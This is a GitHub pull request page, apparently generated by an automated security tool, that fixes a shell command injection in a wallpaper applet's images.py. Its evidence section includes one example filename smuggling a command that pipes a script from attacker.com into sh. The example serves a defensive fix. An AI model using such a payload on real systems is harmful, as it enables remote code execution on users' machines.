fix: sanitize shell/subprocess call in images.py - #1113
Open
anupamme wants to merge 1 commit into
Open
Conversation
Automated security fix generated by OrbisAI Security
Member
|
cc @TobiZog |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fix critical severity security issue in
cinnamon-dynamic-wallpaper@TobiZog/files/cinnamon-dynamic-wallpaper@TobiZog/5.4/src/service/images.py.Vulnerability
V-003cinnamon-dynamic-wallpaper@TobiZog/files/cinnamon-dynamic-wallpaper@TobiZog/5.4/src/service/images.py:56Description: The extract_heic_file method uses os.system() with single-quote wrapping around file_uri. Single quotes can be escaped by including a single quote in the filename, breaking out of the quoted context and enabling shell command injection. The file_uri parameter comes from user file selection in the UI.
Evidence
Exploitation scenario: A user selects a HEIC file with a crafted filename such as: '/tmp/image'; curl http://attacker.com/payload.sh | sh; echo '.heic'.
Scanner confirmation: multi_agent_ai rule
V-003flagged this pattern.Production code: This file is in the production codebase, not test-only code.
Changes
cinnamon-dynamic-wallpaper@TobiZog/files/cinnamon-dynamic-wallpaper@TobiZog/5.4/src/service/images.pyBehavior Preservation
The change is scoped to 1 file on the vulnerable path, and the project's existing tests still pass, so intended behavior is unchanged.
Verification
Automated security fix by OrbisAI Security